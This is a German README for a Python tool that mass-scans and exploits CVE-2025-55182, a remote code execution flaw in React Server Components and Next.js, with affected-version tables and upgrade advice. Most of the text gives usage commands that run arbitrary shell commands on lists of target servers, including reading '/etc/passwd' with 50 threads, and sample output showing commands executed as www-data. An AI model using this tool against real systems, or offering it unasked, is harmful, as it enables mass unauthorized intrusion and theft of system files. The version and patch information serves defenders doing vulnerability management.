
Automatisierter Scanner für CVE-2025-55182: eine kritische RCE-Sicherheitslücke in React Server Components und Next.js.
Ein Tool zur Massenüberprüfung und -verifikation der Remote-Code-Ausführungsschwachstelle CVE-2025-55182 (React2Shell).
⚠️ CVSS 10.0 Kritische Schwachstelle | Betrifft React Server Components und Next.js Versionen 15.x/16.x | Nur für autorisierte Sicherheitstests
CVE-2025-55182 (auch bekannt als „React2Shell") ist eine CVSS 10.0 – höchste Kritikalität aufweisende, nicht authentifizierte Remote-Code-Ausführungsschwachstelle (RCE).
Diese Schwachstelle resultiert aus einer unsicheren Deserialisierung im react-server-Paket von React Server Components (RSC) bei der Verarbeitung des RSC-„Flight"-Protokolls. Angreifer können durch das Senden speziell gestalteter HTTP-Anfragen beliebigen Code auf dem verwundbaren Server ausführen.
Da Next.js das RSC-„Flight"-Protokoll verwendet, können selbst standardmäßig konfigurierte Anwendungen, die mit create-next-app erstellt wurden, ausgenutzt werden, ohne dass Entwickler zusätzlichen Code schreiben müssen. Seit dem 5. Dezember 2025 wurde aktive Ausnutzung dieser Schwachstelle beobachtet
React Server Components - betroffene Versionen:
| Paketname | Betroffene Versionen |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Next.js - betroffene Versionen (mit App Router):
| Hauptversion | Betroffener Versionsbereich | Korrekturversion |
|---|---|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
Möglicherweise betroffene andere RSC-Frameworks/Werkzeuge:
⚠️ Wichtiger Hinweis: Für diese Schwachstelle gibt es keine bekannten temporären Abhilfemaßnahmen; das Upgrade auf eine sichere Version ist die einzige Lösung.
Empfohlene Upgrade-Versionen:
Das offiziell bereitgestellte npm-Paket fix-react2shell-next kann bei der Aktualisierung betroffener Next.js-Anwendungen helfen.
pip install requests
# Massenscan (Ziele aus urls.txt lesen)
python CVE-2025-55182.py -f urls.txt
# Einzelzieltest
python CVE-2025-55182.py -u http://192.168.1.100:3000
# whoami-Befehl ausführen
python CVE-2025-55182.py -f urls.txt -c "whoami"
# hostname-Befehl ausführen
python CVE-2025-55182.py -u http://target.com -c "hostname"
# Datei lesen
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# Threads und Timeout festlegen
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# Benutzerdefinierte Ausgabedatei
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# Stiller Modus (nur anfällige URLs ausgeben)
python CVE-2025-55182.py -f urls.txt -q
| Parameter | Beschreibung | Standardwert |
|---|---|---|
-f, --file | URL-Listendatei | urls.txt |
-u, --url | Einzelne Ziel-URL | - |
-t, --threads | Anzahl gleichzeitiger Threads | 20 |
--timeout | Anfrage-Timeout (Sekunden) | 10 |
-o, --output | Ausgabe-CSV-Datei | results.csv |
-c, --command | Ausgeführter Befehl | id |
-q, --quiet | Stiller Modus | false |
Eine URL pro Zeile, z.B.:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
Die Scanergebnisse werden im CSV-Format gespeichert und enthalten die folgenden Felder:
url - Ziel-URLstatus - HTTP-Statuscodevulnerable - Ob anfälligoutput - Ausgabe der Befehlsausführungerror - FehlermeldungDieses Tool ist ausschließlich für autorisierte Sicherheitstests bestimmt. Verwenden Sie es nicht für illegale Zwecke. Der Benutzer übernimmt die alleinige Verantwortung.